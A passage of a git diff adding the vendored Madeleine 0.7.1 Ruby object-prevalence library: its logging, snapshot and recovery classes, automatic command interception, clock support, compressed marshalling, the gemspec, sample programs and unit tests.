execute(command) + begin + command.execute(@system) + rescue + raise unless @in_recovery + end + end + + def recovery + begin + @in_recovery = true + yield + ensure + @in_recovery = false + end + end + end + + class Recoverer #:nodoc: + + def initialize(directory_name, marshaller) + @directory_name, @marshaller = directory_name, marshaller + end + + def recover_snapshot(new_system_block) + system = nil + id = SnapshotFile.highest_id(@directory_name) + if id > 0 + snapshot_file = SnapshotFile.new(@directory_name, id).name + open(snapshot_file, "rb") {|snapshot| + system = @marshaller.load(snapshot) + } + else + system = new_system_block.call + end + system + end + + def recover_logs(executer) + executer.recovery { + CommandLog.log_file_names(@directory_name, FileService.new).each {|file_name| + open(@directory_name + File::SEPARATOR + file_name, "rb") {|log| + recover_log(executer, log) + } + } + } + end + + private + + def recover_log(executer, log) + while ! log.eof? + command = Marshal.load(log) + executer.execute(command) + end + end + end + + class NumberedFile #:nodoc: + + def initialize(path, name, id) + @path, @name, @id = path, name, id + end + + def name + result = @path + result += File::SEPARATOR + result += sprintf("%0#{FILE_COUNTER_SIZE}d", @id) + result += '.' + result += @name + end + end + + class CommandLog #:nodoc: + + def self.log_file_names(directory_name, file_service) + return [] unless file_service.exist?(directory_name) + result = file_service.dir_entries(directory_name).select {|name| + name =~ /^\d{#{FILE_COUNTER_SIZE}}\.command_log$/ + } + result.each {|name| name.untaint } + result.sort! + result + end + + def initialize(path, file_service) + id = self.class.highest_log(path, file_service) + 1 + numbered_file = NumberedFile.new(path, "command_log", id) + @file = file_service.open(numbered_file.name, 'wb') + end + + def close + @file.close + end + + def store(command) + Marshal.dump(command, @file) + @file.flush + @file.fsync + end + + def self.highest_log(directory_name, file_service) + highest = 0 + log_file_names(directory_name, file_service).each {|file_name| + match = /^(\d{#{FILE_COUNTER_SIZE}})/.match(file_name) + n = match[1].to_i + if n > highest + highest = n + end + } + highest + end + end + + class DefaultLogFactory #:nodoc: + def create_log(directory_name) + CommandLog.new(directory_name, FileService.new) + end + end + + class Logger #:nodoc: + + def initialize(directory_name, log_factory) + @directory_name = directory_name + @log_factory = log_factory + @log = nil + @pending_tick = nil + ensure_directory_exists + end + + def ensure_directory_exists + if ! File.exist?(@directory_name) + Dir.mkdir(@directory_name) + end + end + + def reset + close + delete_log_files + end + + def store(command) + if command.kind_of?(Madeleine::Clock::Tick) + @pending_tick = command + else + if @pending_tick + internal_store(@pending_tick) + @pending_tick = nil + end + internal_store(command) + end + end + + def internal_store(command) + if @log.nil? + open_new_log + end + @log.store(command) + end + + def close + return if @log.nil? + @log.close + @log = nil + end + + private + + def delete_log_files + Dir.glob(@directory_name + File::SEPARATOR + "*.command_log").each {|name| + name.untaint + File.delete(name) + } + end + + def open_new_log + @log = @log_factory.create_log(@directory_name) + end + end + + class SnapshotFile < NumberedFile #:nodoc: + + def self.highest_id(directory_name) + return 0 unless File.exist?(directory_name) + suffix = "snapshot" + highest = 0 + Dir.foreach(directory_name) {|file_name| + match = /^(\d{#{FILE_COUNTER_SIZE}}\.#{suffix}$)/.match(file_name) + next unless match + n = match[1].to_i + if n > highest + highest = n + end + } + highest + end + + def self.next(directory_name) + new(directory_name, highest_id(directory_name) + 1) + end + + def initialize(directory_name, id) + super(directory_name, "snapshot", id) + end + end + + class Snapshotter #:nodoc: + + def initialize(directory_name, marshaller) + @directory_name, @marshaller = directory_name, marshaller + end + + def take(system) + numbered_file = SnapshotFile.next(@directory_name) + name = numbered_file.name + open(name + '.tmp', 'wb') {|snapshot| + @marshaller.dump(system, snapshot) + snapshot.flush + snapshot.fsync + } + File.rename(name + '.tmp', name) + end + end + + module Clock #:nodoc: + class Tick #:nodoc: + + def initialize(time) + @time = time + end + + def execute(system) + system.clock.forward_to(@time) + end + end + end +end + +SnapshotMadeleine = Madeleine::SnapshotMadeleine + diff --git a/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb b/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb new file mode 100755 index 00000000..9c057a87 --- /dev/null +++ b/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb @@ -0,0 +1,418 @@ +require 'yaml' +require 'madeleine/zmarshal' +require 'soap/marshal' + +module Madeleine + +# Automatic commands for Madeleine +# +# Author:: Stephen Sykes +# Copyright:: Copyright (C) 2003-2004 +# Version:: 0.41 +# +# This module provides a way of automatically generating command objects for madeleine to +# store. It works by making a proxy object for all objects of any classes in which it is included. +# Method calls to these objects are intercepted, and stored as a command before being +# passed on to the real receiver. The command objects remember which object the command was +# destined for by using a pair of internal ids that are contained in each of the proxy objects. +# +# There is also a mechanism for specifying which methods not to intercept calls to by using +# automatic_read_only, and its opposite automatic_read_write. +# +# Should you require it, the snapshots can be stored as yaml, and can be compressed. Just pass +# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new. +# If the passed marshaller did not successfully deserialize the latest snapshot, the system +# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding +# compressed versions. +# +# This module is designed to work correctly in the case there are multiple madeleine systems in use by +# a single program, and is also safe to use with threads. +# +# Usage: +# +# require 'madeleine' +# require 'madeleine/automatic' +# +# class A +# include Madeleine::Automatic::Interceptor +# attr_reader :foo +# automatic_read_only :foo +# def initialize(param1, ...) +# ... +# end +# def some_method(paramA, ...) +# ... +# end +# automatic_read_only +# def bigfoo +# foo.upcase +# end +# end +# +# mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } +# +# mad.system.some_method(paramA, ...) # logged as a command by madeleine +# print mad.foo # not logged +# print mad.bigfoo # not logged +# mad.take_snapshot +# + + module Automatic +# +# This module should be included (at the top) in any classes that are to be persisted. +# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine. +# It does this by returning a Prox object that is a proxy for the real object. +# +# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods +# should be made into commands +# + module Interceptor +# +# When included, redefine new so that we can return a Prox object instead, and define methods to handle +# keeping track of which methods are read only +# + def self.included(klass) + class < "") + x + end + + end + +# +# The AutomaticSnapshotMadeleine class contains an instance of the persister +# (default is SnapshotMadeleine) and provides additional automatic functionality. +# +# The class is instantiated the same way as SnapshotMadeleine: +# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } +# The second initialisation parameter is the persister. Supported persisters are: +# +# * Marshal (default) +# * YAML +# * SOAP::Marshal +# * Madeleine::ZMarshal.new(Marshal) +# * Madeleine::ZMarshal.new(YAML) +# * Madeleine::ZMarshal.new(SOAP::Marshal) +# +# The class keeps a record of all the systems that currently exist. +# Each instance of the class keeps a record of Prox objects in that system by internal id (myid). +# +# We also add functionality to take_snapshot in order to set things up so that the custom Prox object +# marshalling will work correctly. +# + class AutomaticSnapshotMadeleine + attr_accessor :marshaller + attr_reader :list, :sysid + + def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block) + @sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid + @myid_count = 0 + @list = {} + Thread.current[:system] = self # during system startup system should not create commands + Thread.critical = true + @@systems ||= {} # holds systems by sysid + @@systems[@sysid] = self + Thread.critical = false + @marshaller = marshaller # until attrb + begin + @persister = persister.new(directory_name, Automatic_marshaller, &new_system_block) + @list.delete_if {|k,v| # set all the prox objects that now exist to have the right sysid + begin + ObjectSpace._id2ref(v).sysid = @sysid + false + rescue RangeError + true # Id was to a GC'd object, delete it + end + } + ensure + Thread.current[:system] = false + end + end +# +# Add a proxy object to the list, return the myid for that object +# + def add(proxo) + @list[@myid_count += 1] = proxo.object_id + @myid_count + end +# +# Restore a marshalled proxy object to list - myid_count is increased as required. +# If the object already exists in the system then the existing object must be used. +# + def restore(proxo) + if (@list[proxo.myid]) + proxo = myid2ref(proxo.myid) + else + @list[proxo.myid] = proxo.object_id + @myid_count = proxo.myid if (@myid_count < proxo.myid) + end + proxo + end +# +# Returns a reference to the object indicated by the internal id supplied. +# + def myid2ref(myid) + raise "Internal id #{myid} not found" unless objid = @list[myid] + ObjectSpace._id2ref(objid) + end +# +# Take a snapshot of the system. +# + def take_snapshot + begin + Thread.current[:system] = self + Thread.current[:snapshot_memory] = {} + @persister.take_snapshot + ensure + Thread.current[:snapshot_memory] = nil + Thread.current[:system] = false + end + end +# +# Returns the hash containing the systems. +# + def AutomaticSnapshotMadeleine.systems + @@systems + end +# +# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new +# system before GC gets them +# + def close + begin + @list.each_key {|k| myid2ref(k).sysid = nil} + rescue RangeError + # do nothing + end + @persister.close + end + +# +# Pass on any other calls to the persister +# + def method_missing(symbol, *args, &block) + @persister.send(symbol, *args, &block) + end + end + + + module Deserialize #:nodoc: +# +# Detect format of an io stream. Leave it rewound. +# + def Deserialize.detect(io) + c = io.getc + c1 = io.getc + io.rewind + if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION) + Marshal + elsif (c == 31 && c1 == 139) # gzip magic numbers + ZMarshal + else + while (s = io.gets) + break if (s !~ /^\s*$/) # ignore blank lines + end + io.rewind + if (s && s =~ /^\s*<\?[xX][mM][lL]/) # " e + io.rewind + detected_marshaller = detect(io) + if (detected_marshaller == ZMarshal) + zio = Zlib::GzipReader.new(io) + detected_zmarshaller = detect(zio) + zio.finish + io.rewind + if (detected_zmarshaller) + ZMarshal.new(detected_zmarshaller).load(io) + else + raise e + end + elsif (detected_marshaller) + detected_marshaller.load(io) + else + raise e + end + end + end + end + + end +end + +AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine diff --git a/vendor/madeleine-0.7.1/lib/madeleine/clock.rb b/vendor/madeleine-0.7.1/lib/madeleine/clock.rb new file mode 100755 index 00000000..012c6f27 --- /dev/null +++ b/vendor/madeleine-0.7.1/lib/madeleine/clock.rb @@ -0,0 +1,94 @@ +# +# Copyright(c) Anders Bengtsson 2003 +# + +require 'madeleine' + +module Madeleine + module Clock + + # Deprecated. Use SnapshotMadeleine instead. + class ClockedSnapshotMadeleine < ::Madeleine::SnapshotMadeleine # :nodoc: + end + + # Let your system extend this module if you need to access the + # machine time. Used together with a TimeActor that keeps + # the clock current. + module ClockedSystem + + # Returns this system's Clock. + def clock + unless defined? @clock + @clock = Clock.new + end + @clock + end + end + + # Sends clock ticks to update a ClockedSystem, so that time can be + # dealt with in a deterministic way. + class TimeActor + + # Create and launch a new TimeActor + # + # * madeleine - The SnapshotMadeleine instance to work on. + # * delay - Delay between ticks in seconds (Optional). + def self.launch(madeleine, delay=0.1) + result = new(madeleine, delay) + result + end + + # Stops the TimeActor. + def destroy + @is_destroyed = true + @thread.wakeup + @thread.join + end + + private_class_method :new + + private + + def initialize(madeleine, delay) #:nodoc: + @madeleine = madeleine + @is_destroyed = false + send_tick + @thread = Thread.new { + until @is_destroyed + sleep(delay) + send_tick + end + } + end + + def send_tick + @madeleine.execute_command(Tick.new(Time.now)) + end + end + + # Keeps track of time in a ClockedSystem. + class Clock + # Returns the system's time as a Ruby Time. + attr_reader :time + + def initialize + @time = Time.at(0) + end + + def forward_to(newTime) + @time = newTime + end + end + + # + # Internal classes below + # + + # Deprecated. Merged into default implementation. + class TimeOptimizingLogger < ::Madeleine::Logger # :nodoc: + end + + end +end + +ClockedSnapshotMadeleine = Madeleine::Clock::ClockedSnapshotMadeleine diff --git a/vendor/madeleine-0.7.1/lib/madeleine/files.rb b/vendor/madeleine-0.7.1/lib/madeleine/files.rb new file mode 100755 index 00000000..4276d8d5 --- /dev/null +++ b/vendor/madeleine-0.7.1/lib/madeleine/files.rb @@ -0,0 +1,19 @@ +# +# Wrapper for Ruby's file services, replaced during testing +# so we can run tests without touching a real filesystem. +# + +class FileService + + def open(*args) + super(*args) + end + + def exist?(name) + File.exist?(name) + end + + def dir_entries(name) + Dir.entries(name) + end +end diff --git a/vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb b/vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb new file mode 100755 index 00000000..b01210ec --- /dev/null +++ b/vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb @@ -0,0 +1,60 @@ +# +# Author:: Anders Bengtsson +# Copyright:: Copyright (c) 2004 +# + +require 'zlib' + +module Madeleine + # + # Snapshot marshaller for compressed snapshots. + # + # Compresses the snapshots created by another marshaller. Uses either + # Marshal (the default) or another supplied marshaller. + # + # Uses zlib to do on-the-fly compression/decompression. + # + # ZMarshal works with Ruby's own Marshal and YAML, but not with SOAP + # marshalling. + # + # Usage: + # + # require 'madeleine' + # require 'madeleine/zmarshal' + # + # marshaller = Madeleine::ZMarshal.new(YAML) + # madeleine = SnapshotMadeleine.new("my_example_storage", marshaller) { + # SomeExampleApplication.new() + # } + # + class ZMarshal + + def initialize(marshaller=Marshal) + @marshaller = marshaller + end + + def load(stream) + zstream = Zlib::GzipReader.new(stream) + begin + # Buffer into a string first, since GzipReader can't handle + # Marshal's 0-sized reads and SOAP can't handle streams at all. + # In a bright future we can revert to reading directly from the + # stream again. + buffer = zstream.read + return @marshaller.load(buffer) + ensure + zstream.finish + end + end + + def dump(system, stream) + zstream = Zlib::GzipWriter.new(stream) + begin + @marshaller.dump(system, zstream) + ensure + zstream.finish + end + nil + end + end +end diff --git a/vendor/madeleine-0.7.1/madeleine.gemspec b/vendor/madeleine-0.7.1/madeleine.gemspec new file mode 100755 index 00000000..cd5d38f8 --- /dev/null +++ b/vendor/madeleine-0.7.1/madeleine.gemspec @@ -0,0 +1,23 @@ + +require 'rubygems' + +spec = Gem::Specification.new do |s| + s.name = 'madeleine' + s.version = '0.7.1' + s.platform = Gem::Platform::RUBY + s.required_ruby_version = ">= 1.8.1" + s.summary = "Madeleine is a Ruby implementation of Object Prevalence" + s.require_path = 'lib' + s.autorequire = 'madeleine' + s.author = "Anders Bengtsson" + s.email = "ndrsbngtssn@yahoo.se" + s.homepage = "http://madeleine.sourceforge.net" + s.files = Dir.glob("lib/**/*.rb") + s.files += Dir.glob("samples/**/*.rb") + s.files += Dir.glob("contrib/**/*.rb") + s.files += ['README', 'NEWS', 'COPYING'] +end + +if $0 == __FILE__ + Gem::Builder.new(spec).build +end diff --git a/vendor/madeleine-0.7.1/samples/.cvsignore b/vendor/madeleine-0.7.1/samples/.cvsignore new file mode 100755 index 00000000..5ca652ac --- /dev/null +++ b/vendor/madeleine-0.7.1/samples/.cvsignore @@ -0,0 +1,3 @@ +dictionary-base +painter-demo +clock-demo diff --git a/vendor/madeleine-0.7.1/samples/clock_click.rb b/vendor/madeleine-0.7.1/samples/clock_click.rb new file mode 100755 index 00000000..c11d16a3 --- /dev/null +++ b/vendor/madeleine-0.7.1/samples/clock_click.rb @@ -0,0 +1,73 @@ +# +# Simple example of using time with Madeleine. +# + +$LOAD_PATH.unshift(".." + File::SEPARATOR + "lib") + +require 'madeleine/clock' +require 'tk' + +# The Clicker keeps track of when it was last clicked. +# +# To access the time it extends ClockedSystem, which provides +# it with the 'clock' attribute. +# +class Clicker + include Madeleine::Clock::ClockedSystem + + def initialize + @last_clicked = nil + end + + def click + @last_clicked = clock.time + end + + def last_clicked + return '-' if @last_clicked.nil? + @last_clicked.to_s + end +end + +# A command to update the Clicker with. +# +class Click + def execute(system) + system.click + end +end + +# Launch a ClockedSnapshotMadeleine. +# +# ClockedSnapshotMadeleine works like the regular SnapshotMadeleine, but +# optimizes away redundant commands from TimeActor. +# +madeleine = ClockedSnapshotMadeleine.new("clock-demo") { Clicker.new } + +# Launch the TimeActor. +# +# This provides time commands, without which the system's time would stand still. +# +Madeleine::Clock::TimeActor.launch(madeleine) + +clicker = madeleine.system + +# The GUI + +root = TkRoot.new() { title "Madeleine Clock Example" } +label = TkLabel.new(root) { + text "Last clicked " + clicker.last_clicked + width 40 + pack +} +button = TkButton.new(root) { + text 'Click' + command proc { + madeleine.execute_command(Click.new) + label.text("Last clicked " + clicker.last_clicked) + } + pack +} + +Tk.mainloop + diff --git a/vendor/madeleine-0.7.1/samples/dictionary_client.rb b/vendor/madeleine-0.7.1/samples/dictionary_client.rb new file mode 100755 index 00000000..596eab5f --- /dev/null +++ b/vendor/madeleine-0.7.1/samples/dictionary_client.rb @@ -0,0 +1,23 @@ +# +# Dictionary client +# +# See dictionary_server.rb for details +# + +require 'drb' + +DRb.start_service +dictionary = DRbObject.new(nil, "druby://localhost:1234") + +if ARGV.length == 1 + puts dictionary.lookup(ARGV[0]) +elsif ARGV.length == 2 + dictionary.add(ARGV[0], ARGV[1]) + puts "Stored" +else + puts "Usage: dictionary_client []" +end + + + + diff --git a/vendor/madeleine-0.7.1/samples/dictionary_server.rb b/vendor/madeleine-0.7.1/samples/dictionary_server.rb new file mode 100755 index 00000000..76c8e925 --- /dev/null +++ b/vendor/madeleine-0.7.1/samples/dictionary_server.rb @@ -0,0 +1,94 @@ +# +# A dictionary server using Distributed Ruby (DRb). +# +# All modifications to the dictionary are done as commands, +# while read-only queries (i.e 'lookup') are done directly. +# +# First launch this server in the background, then use +# dictionary_client.rb to look up and add items to the +# dictionary. +# You can kill the server at any time. The contents of the +# dictionary will still be there when you restart it. +# +# DRb is available at http://raa.ruby-lang.org/list.rhtml?name=druby +# + +$LOAD_PATH.unshift(".." + File::SEPARATOR + "lib") +require 'madeleine' + +require 'drb' + + +class Dictionary + def initialize + @data = {} + end + + def add(key, value) + @data[key] = value + end + + def lookup(key) + @data[key] + end +end + + +class Addition + def initialize(key, value) + @key, @value = key, value + end + + def execute(system) + system.add(@key, @value) + end +end + + +class Lookup + def initialize(key) + @key = key + end + + def execute(system) + system.lookup(@key) + end +end + + +class DictionaryServer + + def initialize(madeleine) + @madeleine = madeleine + @dictionary = madeleine.system + end + + def add(key, value) + # When adding a new key-value pair we modify the system, so + # this operation has to be done through a command. + @madeleine.execute_command(Addition.new(key, value)) + end + + def lookup(key) + # A lookup is a read-only operation, so we can do it as a non-logged + # query. If we weren't worried about concurrency problems we could + # have just called @dictionary.lookup(key) directly instead. + @madeleine.execute_query(Lookup.new(key)) + end +end + + +madeleine = SnapshotMadeleine.new("dictionary-base") { Dictionary.new } + +Thread.new(madeleine) { + puts "Taking snapshot every 30 seconds." + while true + sleep(30) + madeleine.take_snapshot + end +} + +DRb.start_service("druby://localhost:1234", + DictionaryServer.new(madeleine)) +DRb.thread.join + diff --git a/vendor/madeleine-0.7.1/samples/painter.rb b/vendor/madeleine-0.7.1/samples/painter.rb new file mode 100755 index 00000000..b9d21658 --- /dev/null +++ b/vendor/madeleine-0.7.1/samples/painter.rb @@ -0,0 +1,60 @@ +# +# Simple drawing program to show Madeleine's logging feature. +# +# When you restart the program, your old artwork is still there. +# +# (Note: The GUI components used here aren't marshal-able, +# so in a real app you would have to do custom marshaling for +# the Painter class to get working snapshots. Then again, in a real +# app you wouldn't use the GUI components to hold the app's data, +# would you?) +# + +$LOAD_PATH.unshift(".." + File::SEPARATOR + "lib") + +require 'madeleine' + +require 'tkclass' + +class Painter + + def initialize(canvas) + @canvas = canvas + end + + def draw(x, y) + line = Line.new(@canvas, x, y, x + 1, y + 1) + line.fill('black') + end +end + +class PaintCommand + + def initialize(x, y) + @x, @y = x, y + end + + def execute(system) + system.draw(@x, @y) + end +end + +root = TkRoot.new() { title "Madeleine Painter" } +canvas = Canvas.new(root) +canvas.pack + +$madeleine = Madeleine::SnapshotMadeleine.new("painter-demo") { Painter.new(canvas) } + +canvas.bind("1", + proc {|x, y| + $madeleine.execute_command(PaintCommand.new(x, y)) + }, + "%x %y") +canvas.bind("B1-Motion", + proc {|x, y| + $madeleine.execute_command(PaintCommand.new(x, y)) + }, + "%x %y") + +Tk.mainloop + diff --git a/vendor/madeleine-0.7.1/test/test.rb b/vendor/madeleine-0.7.1/test/test.rb new file mode 100755 index 00000000..e252a53f --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test.rb @@ -0,0 +1,320 @@ +#!/usr/bin/env ruby +# + +$LOAD_PATH.unshift("lib") +$LOAD_PATH.unshift("test") + +require 'madeleine' +require 'test/unit' + + +class Append + def initialize(value) + @value = value + end + + def execute(system) + system << @value + end +end + + +module TestUtils + def delete_directory(directory_name) + return unless File.exists?(directory_name) + Dir.foreach(directory_name) do |file| + next if file == "." + next if file == ".." + assert(File.delete(directory_name + File::SEPARATOR + file) == 1, + "Unable to delete #{file}") + end + Dir.delete(directory_name) + end +end + + +class SnapshotMadeleineTest < Test::Unit::TestCase + include TestUtils + + def teardown + delete_directory(persistence_base) + end + + def persistence_base + "closing-test" + end + + def test_closing + madeleine = SnapshotMadeleine.new(persistence_base) { "hello" } + madeleine.close + assert_raises(RuntimeError) do + madeleine.execute_command(Append.new("world")) + end + end +end + +class NumberedFileTest < Test::Unit::TestCase + + def test_main + target = Madeleine::NumberedFile.new(File::SEPARATOR + "foo", "bar", 321) + assert_equal(File::SEPARATOR + "foo" + File::SEPARATOR + + "000000000000000000321.bar", + target.name) + end +end + + +class LoggerTest < Test::Unit::TestCase + include TestUtils + + def teardown + delete_directory("whoah") + end + + def test_creation + @log = Object.new + def @log.store(command) + unless defined? @commands + @commands = [] + end + @commands << command + end + def @log.commands + @commands + end + + log_factory = self + target = Madeleine::Logger.new("whoah", log_factory) + target.store(:foo) + assert(@log.commands.include?(:foo)) + end + + # Self-shunt + def create_log(directory_name) + @log + end +end + +class CommandVerificationTest < Test::Unit::TestCase + + def teardown + Dir.delete("foo") + end + + def test_broken_command + target = SnapshotMadeleine.new("foo") { :a_system } + assert_raises(Madeleine::InvalidCommandException) do + target.execute_command(:not_a_command) + end + end +end + + +class CustomMarshallerTest < Test::Unit::TestCase + include TestUtils + + def teardown + delete_directory(prevalence_base) + end + + def prevalence_base + "custom-marshaller-test" + end + + def madeleine_class + SnapshotMadeleine + end + + def test_changing_marshaller + @log = "" + marshaller = self + target = madeleine_class.new(prevalence_base, marshaller) { "hello world" } + target.take_snapshot + assert_equal("dump ", @log) + target = nil + + madeleine_class.new(prevalence_base, marshaller) { flunk() } + assert_equal("dump load ", @log) + end + + def load(io) + @log << "load " + assert_equal("dump data", io.read()) + end + + def dump(system, io) + @log << "dump " + assert_equal("hello world", system) + io.write("dump data") + end +end + + +class ErrorRaisingCommand + def execute(system) + raise "this is an exception from a command" + end +end + +class ErrorHandlingTest < Test::Unit::TestCase + include TestUtils + + def teardown + delete_directory(prevalence_base) + end + + def prevalence_base + "error-handling-base" + end + + def test_exception_in_command + madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" } + assert_raises(RuntimeError) do + madeleine.execute_command(ErrorRaisingCommand.new) + end + madeleine.close + madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" } + madeleine.close + end +end + +class QueryTest < Test::Unit::TestCase + include TestUtils + + def teardown + delete_directory(prevalence_base) + end + + def prevalence_base + "query-base" + end + + def test_querying + madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" } + query = Object.new + def query.execute(system) + system.size + end + # 'query' is an un-marshallable singleton, so we implicitly test + # that querys aren't stored. + assert_equal(5, madeleine.execute_query(query)) + # TODO: assert that no logging was done + # TODO: assert that lock was held + end +end + + +class TimeOptimizingLoggerTest < Test::Unit::TestCase + include TestUtils + + def setup + @target = Madeleine::Logger.new("some_directory", self) + @log = [] + def @log.store(command) + self << command + end + end + + def teardown + delete_directory("some_directory") + end + + def test_optimizing_ticks + assert_equal(0, @log.size) + @target.store(Madeleine::Clock::Tick.new(Time.at(3))) + assert_equal(0, @log.size) + @target.store(Madeleine::Clock::Tick.new(Time.at(22))) + assert_equal(0, @log.size) + @target.store(Addition.new(100)) + assert_kind_of(Madeleine::Clock::Tick, @log[0]) + assert_equal(22, value_of_tick(@log[0])) + assert_equal(100, @log[1].value) + assert_equal(2, @log.size) + end + + def value_of_tick(tick) + @clock = Object.new + def @clock.forward_to(time) + @value = time.to_i + end + def @clock.value + @value + end + tick.execute(self) + @clock.value + end + + # Self-shunt + def create_log(directory_name) + assert_equal("some_directory", directory_name) + @log + end + + # Self-shunt + def clock + @clock + end +end + + +class SharedLockQueryTest < Test::Unit::TestCase + include TestUtils + + def prevalence_base + "shared_lock_test" + end + + def teardown + delete_directory(prevalence_base) + end + + def test_query + madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" } + lock = Object.new + madeleine.instance_eval { @lock = lock } # FIXME: The horror, the horror + + $shared = false + $was_shared = false + def lock.synchronize_shared(&block) + $shared = true + block.call + $shared = false + end + query = Object.new + def query.execute(system) + $was_shared = $shared + end + madeleine.execute_query(query) + assert($was_shared) + end +end + +suite = Test::Unit::TestSuite.new("Madeleine") + +suite << SnapshotMadeleineTest.suite +suite << NumberedFileTest.suite +require 'test_command_log' +suite << CommandLogTest.suite +suite << LoggerTest.suite +suite << CommandVerificationTest.suite +suite << CustomMarshallerTest.suite +suite << ErrorHandlingTest.suite +suite << QueryTest.suite +suite << TimeOptimizingLoggerTest.suite +suite << SharedLockQueryTest.suite +require 'test_executer' +suite << ExecuterTest.suite + +require 'test_clocked' +add_clocked_tests(suite) +require 'test_automatic' +add_automatic_tests(suite) +require 'test_persistence' +add_persistence_tests(suite) +require 'test_platforms' +add_platforms_tests(suite) +require 'test_zmarshal' +add_zmarshal_tests(suite) + +require 'test/unit/ui/console/testrunner' +Test::Unit::UI::Console::TestRunner.run(suite) diff --git a/vendor/madeleine-0.7.1/test/test_automatic.rb b/vendor/madeleine-0.7.1/test/test_automatic.rb new file mode 100755 index 00000000..da0c1719 --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_automatic.rb @@ -0,0 +1,559 @@ +#!/usr/local/bin/ruby -w +# +# Copyright(c) 2003-2004 Stephen Sykes +# Copyright(c) 2003-2004 Anders Bengtsson +# + +$LOAD_PATH.unshift("lib") + +require 'madeleine' +require 'madeleine/automatic' +require 'test/unit' +#require 'contrib/batched.rb' # uncomment if testing batched + +class A + include Madeleine::Automatic::Interceptor + attr_accessor :z,:k + def initialize + @k=1 + end +end + +class B + include Madeleine::Automatic::Interceptor + attr_accessor :yy, :s + def initialize(a) + @yy = C.new(a) + end +end + +class C + include Madeleine::Automatic::Interceptor + attr_accessor :x, :a + def initialize(x) + @x = x + @a ||= D.new + end +end + +# direct changes in this class are not saved, except at snapshot +class D + attr_accessor :w +end + +class F + include Madeleine::Automatic::Interceptor + attr_accessor :z,:a + def plus1 + @z += 1 + end +end + +class G + include Madeleine::Automatic::Interceptor + attr_accessor :yy,:a + def initialize + @yy = H.new + end +end + +class H + include Madeleine::Automatic::Interceptor + attr_accessor :w + def minus1 + @w -= 1 + end +end + +class I + include Madeleine::Automatic::Interceptor + def initialize + @x = J.new + end + def testyield + r = false + @x.yielder {|c| r = true if c == 1} + r + end +end + +class J + include Madeleine::Automatic::Interceptor + def yielder + yield 1 + end +end + +class K + include Madeleine::Automatic::Interceptor + attr_accessor :k + def initialize + @k=1 + end + def seven + @k=7 + end + def fourteen + @k=14 + end + automatic_read_only :fourteen + automatic_read_only + def twentyone + @k=21 + end +end + +class L + include Madeleine::Automatic::Interceptor + attr_reader :x + def initialize + @x = M.new(self) + end +end + +class M + include Madeleine::Automatic::Interceptor + attr_reader :yy + def initialize(yy) + @yy = yy + end +end + +class AutoTest < Test::Unit::TestCase + + def persister + SnapshotMadeleine + end + + def delete_directory(directory_name) + return unless File.exist?(directory_name) + Dir.foreach(directory_name) do |file| + next if file == "." + next if file == ".." + assert(File.delete(directory_name + File::SEPARATOR + file) == 1, + "Unable to delete #{file}") + end + Dir.delete(directory_name) + end + + def create_new_system(klass, dir, *arg) + delete_directory(dir) + Thread.critical = true + @system_bases << dir + Thread.critical = false + make_system(dir) { klass.new(*arg) } + end + + def make_system(dir, marshaller=Marshal, &block) + AutomaticSnapshotMadeleine.new(dir, marshaller, persister, &block) + end + + def prevalence_base + "AutoPrevalenceTestBase" + self.class.to_s + end + + def setup + @system_bases = [] + end + + def teardown + @system_bases.each {|dir| + delete_directory(dir) + } + end + + def simpletest(n) + pb = prevalence_base + n.to_s + mad_a = create_new_system(A, pb) + mad_a.close + mad_a1 = make_system(pb) { A.new } + assert_equal(1, mad_a1.system.k, "No commands or snapshot") + mad_a1.system.z = 0 + mad_a1.system.z += 1 + assert_equal(1, mad_a1.system.z, "Object changes") + mad_a1.system.z -= 10 + assert_equal(-9, mad_a1.system.z, "Object changes") + mad_a1.close + mad_a2 = make_system(pb) { A.new } + assert_equal(-9, mad_a2.system.z, "Commands but no snapshot") + mad_a2.take_snapshot + mad_a2.close + mad_a3 = make_system(pb) { A.new } + assert_equal(-9, mad_a3.system.z, "Snapshot but no commands") + mad_a3.system.z -= 6 + mad_a3.system.z -= 3 + mad_a3.close + mad_a4 = make_system(pb) { A.new } + assert_equal(-18, mad_a4.system.z, "Snapshot and commands") + mad_a4.close + end +end + +# Basic test, and that system works in SAFE level 1 +class BasicTest < AutoTest + def test_main + simpletest(1) + end + + def test_main_in_safe_level_one + thread = Thread.new { + $SAFE = 1 + test_main + } + thread.join + end +end + +class ObjectOutsideTest < AutoTest + def test_main + mad = create_new_system(A, prevalence_base) + assert_raises(RuntimeError) { + mad.system.z = A.new # app object created outside system + } + mad.close + end +end + +# Passing a block when it would generate a command is not allowed because blocks cannot +# be serialised. However, block passing/yielding inside the application is ok. +class BlockGivenTest < AutoTest + def test_main + mad = create_new_system(J, prevalence_base) + assert_raises(RuntimeError) { + mad.system.yielder {|a| a} + } + mad.close + mad2 = create_new_system(I, prevalence_base+"2") + assert(mad2.system.testyield, "Internal block passing") + mad2.close + end +end + +class NonPersistedObjectTest < AutoTest + def test_main + mad_b = create_new_system(B, prevalence_base, 0) + mad_b.system.yy.x -= 1 + assert_equal(-1, mad_b.system.yy.x, "Direct change of object inside main object") + + mad_b.system.yy.a.w ||= "hello" # not saved + mad_b.system.yy.a.w += " again" # not saved + + assert_equal("hello again", mad_b.system.yy.a.w, "Non persisted object before close") + + mad_b.close + mad_b2 = make_system(prevalence_base) { 